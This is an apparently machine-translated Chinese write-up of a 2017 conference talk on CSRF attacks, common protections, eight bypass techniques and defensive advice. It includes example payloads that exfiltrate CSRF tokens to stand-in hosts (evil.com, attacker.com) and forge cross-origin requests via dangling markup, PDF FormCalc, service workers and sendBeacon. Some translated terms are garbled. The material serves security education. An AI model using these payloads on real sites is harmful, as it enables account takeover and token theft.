翻译成俄语的CSRF(跨站请求伪造)是跨站请求的伪造。
Mikhail Egorov (
0ang3el )在有关
Highload ++ 2017的报告中谈到了CSRF漏洞,通常使用哪种保护机制以及如何规避它们。 最后,他提出了有关如何防御CSRF攻击的一系列技巧。 根据猫的解码表现。
关于演讲者: Mikhail Egorov在Ingram Micro Cloud工作,从事应用程序安全性。 在闲暇时间,Mikhail致力于寻找漏洞和寻找Bug并在安全会议上发表演讲。
免责声明:给出的信息纯粹是作者的意见,所有匹配内容都是随机的。

这个Cookie怪兽应该归咎于CSRF攻击有效的事实。 事实是,许多Web应用程序都使用cookie(此后我们认为以俄语调用cookie是适当的)来控制用户的会话。 浏览器的设计使其在此域和路径具有用户cookie时会自动将其与HTTP请求一起发送。
饼干
Cookie是Web服务器以称为“ Set-Cookie”的HTTP标头中的name = value的形式发送给客户端的一小段数据。 浏览器将此数据存储在用户的计算机上,并在必要时将此数据作为HTTP请求的一部分发送到Web服务器,该HTTP请求称为“ Cookie”。
Cookies可以具有各种属性,例如:过期,域,安全,httponly:
Cookies最早于1994年出现在Netscape浏览器中。 许多Web应用程序仍然使用它们来管理用户的会话。

让我们看看经典的跨站请求伪造(CSRF)攻击是如何工作的。
假设我们的Web应用程序具有更改用户的传递地址的能力,并且使用Cookie来控制会话。
我们有一个HTML表单,用户必须填写:输入地址,然后单击“保存”按钮。 结果,带有HTML表单的POST请求将飞到后端。 我们看到浏览器会自动在其中设置用户的会话Cookie。 后端在收到这样的请求时,会发现存在这样的会话,它是合法用户,并更改其传递地址。
攻击者可以做什么?

他可以在自己的
Attacker.com网站上放置一个HTML页面,该页面实际上将HTML表单提交给
example 。 com 。 由于浏览器会自动将用户的Cookie插入HTTP请求中,因此后端根本无法理解该请求是否合法-是用户填写表单的结果还是CSRF攻击-并将用户的传递地址更改为对攻击者有利的值。
使用XHR API的CSRF攻击还有另一种选择。 如果许多人听说过使用HTML表单的CSRF攻击,那么他们对这种方法的了解就很少,但是它也可以使用。

注意withCredentials属性,该属性使浏览器自动发送用户cookie。 由于Content-type的值是application / x-www-form-urlencoded,因此浏览器将发送此请求而无需CORS选项预检请求,并且CSRF攻击将再次起作用。
让我们更清楚地考虑这是如何发生的。

源数据:
- exampleRF.com应用容易受到CSRF的攻击,
- 使用者
- 攻击者的网站,那里有一个csrf-xhr.html页面。
用户在位于
example.com上的应用程序中通过了身份验证。 如果他去了攻击者的站点,那么将自动执行POST请求,这将更改传递地址。 浏览器将自动将会话cookie插入请求,后端将更改地址。
CSRF攻击历史
总的来说,CSRF攻击自2001年开始被人们广泛利用以来就已为人所知。 在2008-2012年期间,每个第一个站点上都存在此类漏洞,包括:
- YouTube的
- 纽约时报;
- 巴杜
- 幻灯片分享
- Vimeo;
- 葫芦
- 电影搜索;
- ...
CSRF漏洞有多严重?
实际上,这完全取决于脆弱行动的关键性。 可能是:
- 帐户接管-攻击者通过CSRF更改电子邮件来捕获受害者的帐户。
- 特权升级-由于攻击者通过CSRF创建了系统中具有较高权限的新用户,从而增加了特权。
- 远程执行代码-由于通过CSRF在管理面板中进行了命令注入操作,因此执行了代码。
让我们看看国际上建立的关于CSRF严重性的漏洞分类。
在
OWASP Top 10项目中,该项目包含应用程序中的10个最关键的漏洞,在2010年,CSRF漏洞
排名第五 。 然后,开发人员开始实施各种保护选项,并且在2013年,CSRF漏洞已移至第八位。
CSRF漏洞根本没有列入2017年的列表中,因为据推测,根据统计数字,现在
仅在8%的案例中发现了CSRF漏洞。
我个人不同意这些统计数据,因为从字面上看,最近两年我发现了许多CSRF漏洞。 接下来,我将告诉您我是如何做到的。
在
Bugcrowd VRT (漏洞等级分类)类别中,应用程序范围的CSRF漏洞的严重等级为P2(高)。 以上仅是严重性级别,即这些都是
非常严重的漏洞 。

考虑存在哪些CSRF保护选项以及每个保护选项的工作方式。
1. CSRF令牌- 对于每个用户会话,都会生成一个唯一且高度熵的令牌。
- 令牌被插入HTML页面的DOM中,或通过API给予用户。
- 每个请求都与任何更改相关联的用户必须在参数或请求的HTTP标头中发送令牌。
- 由于攻击者不知道令牌,因此经典CSRF攻击无效。
2.两次提交Cookie- 再次为每个用户会话生成一个唯一且高度熵的令牌,但是将其放置在cookie中。
- 用户必须在请求中的请求和请求参数中传递相同的值。
- 如果这两个值在Cookie和参数中一致,则认为这是合法请求。
- 由于攻击者根本无法在用户的浏览器中更改cookie,因此经典的CSRF攻击无效。
3.基于内容类型的保护- 用户必须发送带有特定Content-Type标头的请求,例如application / json。
- 由于不可能在浏览器中通过HTML表单或XHR API发送任意的Content-Type跨域,因此经典的CSRF攻击不再起作用。
4.基于引荐的保护- 用户必须发送带有特定Referer标头值的请求。 后端对其进行检查,如果不正确,则认为这是CSRF攻击。
- 由于浏览器无法通过HTML表单或XHR API发送任意引用,因此经典的CSRF攻击无效。
5.密码确认/ websudo- 用户必须使用密码(或密码)确认操作。
- 由于攻击者不认识他,因此经典的CSRF攻击无效。
6. Chrome,Opera中的SameSite Cookies这是一项旨在保护CSRF的新技术。 目前,它仅在两种浏览器(Chrome,Opera)中有效。
- Cookie设置了一个附加属性-samesite,该属性可以具有两个值:lax或strict。
- 该技术的本质是,如果请求是从另一个域(例如,攻击者的网站)发出的,则浏览器不会发送cookie。 因此,这再次防止了经典的CSRF攻击。
但是,不幸的是,到处都有浏览器,Web应用程序及其部署的功能,有时
可以让您绕过CSRF保护 。
因此,现在让我们讨论可以在实践中使用的
8种绕过保护的方法。

解决方法:
1. XSS(跨站点脚本)如果您的Web应用程序具有XSS,则这会自动使其容易受到CSRF的攻击,因此很难保护自己。
你只能忍受 。
2.悬挂标记假设我们的应用程序存在HTML注入漏洞,但是没有XSS。 例如,有一个针对XSS的内容安全策略(CSP)。 但是攻击者仍然可以嵌入HTML标签。
如果我们的应用程序基于CSRF令牌实施保护,则攻击者可以嵌入此类HTML,这些HTML并非封闭的图像或表单标签:
<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
结果,部分DOM HTML页面将被发送到攻击者的资源。 如果攻击者正确实现了此类HTML,则很有可能在攻击者的网站上包含CSRF令牌。
因此,在学习了令牌之后,攻击者将能够以经典方式利用CSRF。
3.脆弱的子域假设我们有一个子域
foo.example.com ,并且容易受到
子域接管或
XSS的攻击
。 子域接管的结果是,攻击者可以完全控制该子域,并且可以在该子域中添加任何HTML页面或在该子域的上下文中执行JS代码。 如果我们的子域容易受到此类攻击,则攻击者将能够规避以下类型的CSRF保护:
- CSRF令牌;
- 两次提交Cookie;
- 基于内容类型的保护。
假设我们的主要应用程序使用
CORS (跨源资源共享)进行跨域通信。 服务器响应中插入了两个标头:
- 访问控制允许来源:foo.example.com(foo.example.com-易受攻击的子域);
- 访问控制允许证书:true -因此,使用XHR API可以使用用户cookie发出请求。
如果满足这些条件,则攻击者可以简单地从他控制的子域中读取CSRF令牌,然后继续以经典方式利用CSRF。
下一个选项。 假设我们要攻击的主域上有一个
crossdomain.xml文件。 Flash和PDF插件使用此文件进行子域交互,并允许从任何子域访问该文件。
<cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy>
如果攻击者可以将JS文件上传到
foo.example.com ,那么在这种情况下,他可以将Service Worker API用于子域foo.example.com,而该子域实际上会发出Flash文件。
var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); }
由于我们在主域上具有crossdomain.xml,它允许子域进行交互,因此攻击者只需通过此SWF读取CSRF令牌。
顺便说一句,最近在亚马逊上发现了一个类似的漏洞,更多详细信息在这里 。
即使未配置CORS且没有crossdomain.xml文件,但使用了Double Submit Cookie保护,攻击者也可以将Cookie从父域的子域插入到他要利用CSRF的路径,从而绕过Double Submit Cookie保护。
4.错误的PDF此解决方法基于PDF。 Adobe有一个PDF插件,当您安装Adobe Reader时会自动安装。 该插件支持所谓的FormCalc脚本。 但是,现在Adobe的PDF插件仅适用于IE11和Firefox ESR。
FormCalc有两种很棒的方法:get()和post()。 使用get方法的攻击者可以使用post读取CSRF令牌,并将其发送到他的站点。 因此,攻击者获得了受害者的CSRF令牌。
假设我们有能力将PDF文件上传到Web应用程序。 实际上,它甚至可能是不同格式的文件,例如,攻击者可能试图以用户头像的图片为幌子下载PDF。
该应用程序在主域上具有一些API,使您可以获取下载文件的内容。 然后,攻击者可以使用HTML页面,该页面嵌入使用embed标签将攻击者上传到
example.com的PDF文件。
<h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>
Leak.pdf文件:

该文件包含一个FormCalc脚本,该脚本仅读取Settings.action页,该页在DOM中有一个CSRF令牌,并使用post方法将其发送到攻击者的站点。
由于PDF是从example.com下载的,因此该PDF本身具有对所有起源
https://example.com
完全访问权限,并且可以从那里读取数据而不会违反相同起源策略(SOP)模式。
另一个重点是,对于PDF插件而言,与给出哪种Content-Type无关紧要,甚至HTTP响应也可能包含其他标头(例如Content-Disposition)。 PDF插件仍将呈现此PDF并执行FormCalc脚本。
5.饼干注射如果使用了双重提交cookie保护,那么如果攻击者可以某种方式引入cookie,那么这已经结束了。
在这种情况下,最受欢迎的选择之一是
CRLF 注入 。
如果攻击者可以在服务器的响应中插入其他标头,则只需添加带有必要Cookie的Set-Cookie标头,并绕过CSRF保护。
另一个选项与
浏览器cookie处理功能有关 。
例如,在Safari中,您可以使用逗号插入新的cookie(以逗号分隔的cookie)。 假设我们在名为language的标头中有一个URL参数。 我们对其进行处理,然后将所选的语言值写入Cookie中。 如果攻击者插入逗号,则他可以插入任何其他名称的cookie。
同样,绕过CSRF保护也可以帮助解决
浏览器错误 。 例如,在Firefox中,可以通过SVG图像嵌入Cookie(
CVE-2016-9078) 。 如果我们有HTML编辑器,并且允许用户插入图像标签,那么攻击者可以简单地指向SRC属性中的SVG图像,这将设置必要的cookie。
6.更改内容类型一些开发人员认为,如果您在POST请求的正文中使用非标准数据格式与后端进行通信,则可以使您免于CSRF。 实际上并非如此。
例如,我将列举一个最近在非常流行的笔记管理服务中发现的漏洞。
它使用的API使用Apache Thrift(二进制数据格式)和cookie来控制会话。 例如,要添加新笔记,用户必须发送这样的POST请求。 二进制数据在正文中传输,并且指定了Content-Type:application / x-thrift。
POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43
实际上,此Content-Type在后端未经过验证。 只需将二进制数据传递到POST请求的主体中,就可以将其更改为text / plain,并使用XHR API来利用此CSRF漏洞。

实际上,基于内容类型的安全性是非常差的安全性选项。 大多数情况下会绕过它。
7.非简单的内容类型通过HTML表单或使用XHR API,我们可以提交以下内容类型:
- 文字/纯文字;
- 应用程序/ x-www-form-urlencoded;
- 多部分/表单数据。
实际上,可以通过以下方式发送任何Content-Type值:
- 浏览器中的错误(例如Navigator.sendBeacon);
- 插件:Flash插件+ 307重定向和PDF插件+ 307重定向;
- 后端框架。
某些框架(例如JAX-RS Apache CXF框架)在URL中支持
称为ctype的参数。 您可以在此参数中指定任何Content-Type,后端将查看此参数并将使用它,而不是Content-Type,后者将传递到标头(
链接到源)。
Chrome浏览器在2015年发现了一个相当
知名的错误 ,此后大约一个月便进入了公众访问范围,但直到2017年才修复。 此错误使您可以使用称为
Navigator.sendBeacon()的API将具有任何Content-Type的POST请求发送到另一个来源
。手术看起来像什么?
<script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script>
我们使用所需的Content-Type创建一个新的Blob,然后只需使用Navigator.sendBeacon()发送即可。
仍然有效且在浏览器中受支持的另一种解决方法是使用Flash插件绕过。

即使有一个网站
thehackerblog.com ,那里已经有一个就绪的闪存驱动器,您只需指定URL,标头,所需的Content-Type和您需要传输的数据-您就可以发送,并且带有所需Content-Type的POST请求会飞到后端。
但是有一个窍门-您不能仅指定我们要攻击的网站的URL。 您需要指定将在我们攻击的资源上
使用代码307进行
重定向的资源。 然后它将起作用。
8.欺骗引荐来源绕过CSRF保护的最后一个选项是基于Referer。
Microsoft Edge浏览器中存在一个
错误,该错误仍未修复,可以让您伪造Referer的值。 但是,不幸的是,它仅对GET请求有效。 如果受攻击的后端无法区分GET和POST,则可以利用此bug。
如果我们仍然需要POST,则有一个小技巧。 我们可以使用PDF插件和FormCalc发送标头参考。

大约一年前,可以使用PDF插件发送包括主机在内的所有标题,但随后Adobe通过创建标题黑名单来消除这种可能性。 也就是说,如果我们在标头中指定Referer,则该标头就不会存在。
通常,FormCalc允许我们合法地提交任何Content-Type。 如果我们插入回车符和换行符,则可以向请求中添加其他标题。
如果实现标头
Referer http://example.com
会发生什么?
显然,它不在黑名单中,标题为
Referer http://example.com
的标头将发送到后端。
某些服务器,例如WildFly或Jboss,会将
空格视为HTTP标头名称的末尾,即冒号`
: `。 因此,这些服务器将看到Referer带有值
http://example.com
。 因此,我们将替换Referer。

这是汇总表。 列提供了针对CSRF的保护,行提供了解决方法。 在每个单元格中,指示使用此方法的浏览器:
- 适用于所有浏览器的一切;
- 所有*表示不支持SameSite Cookies的浏览器,即 除Chrome和Opera外的所有内容。

抵御CSRF攻击的最主要,最有效的选择是摆脱cookie并使用带有令牌的标头。
但是,如果您仍不愿意放弃cookie来管理用户会话,请执行以下操作:
- 对威胁建模并验证CSRF保护的实施(请参见摘要表)。
- 实施SameSite Cookies。 现在只有两种浏览器支持,但是将来可能会更多。
- 结合各种CSRF防御-纵深防御。
- 要求用户输入密码以执行关键操作。
- 提供用户从单独域下载的文件。
在不到六个月的时间里,下一个高负载将在一个月内出现-Highload ++ Siberia 。
我们想提请您注意一些选定的报告: